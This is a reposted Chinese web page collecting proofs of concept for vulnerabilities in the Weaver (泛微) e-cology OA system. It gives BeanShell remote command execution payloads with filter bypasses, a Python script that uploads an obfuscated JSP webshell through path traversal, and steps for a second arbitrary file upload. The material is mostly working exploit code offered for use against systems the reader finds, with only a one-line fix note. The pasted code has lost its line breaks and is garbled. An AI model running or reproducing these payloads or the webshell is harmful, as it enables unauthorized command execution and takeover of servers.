200字范文,内容丰富有趣,生活中的好帮手!
200字范文 > 【文档留存】泛微OA POC

【文档留存】泛微OA POC

时间:2024-05-01 20:06:33

相关推荐

【文档留存】泛微OA POC

泛微OA&&POC

泛微OA 多版本存在命令执行

POC&EXP来源于网络

漏洞描述:

泛微e-cology OA系统的J**A Beanshell接口可被未授权访问,攻击者调用该Beanshell接口,可构造特定的HTTP请求绕过泛微本身一些安全限制从而达成远程命令执行

cnvd编号:CNVD--32204

影响版本:e-cology <=9.0

漏洞修复:屏蔽/weaver/*目录的访问

漏洞复现:

1.漏洞路径:/weaver/bsh.servlet.BshServlet

2. 把print(“hello!”)换成exec(“whoami”),就可以测试能否

执行系统命令了。

Poc1:bsh.script=u0065u0078u0065u0063(“whoami”);&bsh.servlet.output=raw

如果有全局过滤器过滤了exec或eval,会有报错,

可以采用unicode编码、字符串拼接等方式绕过,见下图:

Poc2: bsh.script=u0065u0078u0065u0063(“whoami”);&bsh.servlet.output=raw

Poc3:bsh.script=eval%00(“ex”%2b”ec(bsh.httpServletRequest.getParameter(”command”) )”);&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw&command=whoami

泛微OA mon.ctrl任意文件上传漏洞

一、漏洞描述

泛微OA mon.Ctrl 存在任意文件上传漏洞,攻击者通过漏洞可以上传webshell文件控制服务器

二、漏洞影响

泛微OA

三、漏洞复现

存在漏洞的路径为

/weaver/mon.Ctrl/.css?arg0=com.cloudstore.api.service.Service_CheckApp&arg1=validateApp

1

使用POC进行文件上传

python poc.py

四、漏洞POC

(来源于网络,作者未知)

import zipfileimport randomimport sysimport requestsdef generate_random_str(randomlength=16):random_str = ''base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'length = len(base_str) - 1for i in range(randomlength):random_str += base_str[random.randint(0, length)]return random_strmm = generate_random_str(8)webshell_name1 = mm+'.jsp'webshell_name2 = '../../../'+webshell_name1def file_zip():shell = """<%@ page contentType="text/html;charset=UTF-8" language="java" %><%@ page import="sun.misc.BASE64Decoder" %><%if(request.getParameter("cmd")!=null){BASE64Decoder decoder = new BASE64Decoder();Class rt = Class.forName(new String(decoder.decodeBuffer("amF2YS5sYW5nLlJ1bnRpbWU=")));Process e = (Process)rt.getMethod(new String(decoder.decodeBuffer("ZXhlYw==")), String.class).invoke(rt.getMethod(newString(decoder.decodeBuffer("Z2V0UnVudGltZQ=="))).invoke(null, newObject[]{}), request.getParameter("cmd") );java.io.InputStream in = e.getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}%>""" ## 替换shell内容zf = zipfile.ZipFile(mm+'.zip', mode='w', compression=zipfile.ZIP_DEFLATED)zf.writestr(webshell_name2, shell)def GetShell(urllist):file_zip()# print('上传文件中')urls = urllist + '/weaver/mon.Ctrl/.css?arg0=com.cloudstore.api.service.Service_CheckApp&arg1=validateApp'file = [('file1', (mm+'.zip', open(mm + '.zip', 'rb'), 'application/zip'))]try:requests.post(url=urls,files=file,timeout=60, verify=False)GetShellurl = urllist+'/cloudstore/'+webshell_name1GetShelllist = requests.get(url = GetShellurl)if GetShelllist.status_code == 200:print(GetShellurl+"?cmd=whoami")except:passGetShell("自己找的漏洞URL")

泛微OA9前台任意文件上传

漏洞位于: /page/exportImport/uploadOperation.jsp文件中

Jsp流程大概是:判断请求是否是multipart请求,然就没有了,直接上传了,啊哈哈哈哈哈重点关注File file=new File(savepath+filename),Filename参数,是前台可控的,并且没有做任何过滤限制

利用非常简单,只要对着127.0.0.1/page/exportImport/uploadOperation.jsp来一个multipartRequest就可以,

然后请求路径:

view-source:http://0.0.0.0:5006/page/exportImport/fileTransfer/1.jsp

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。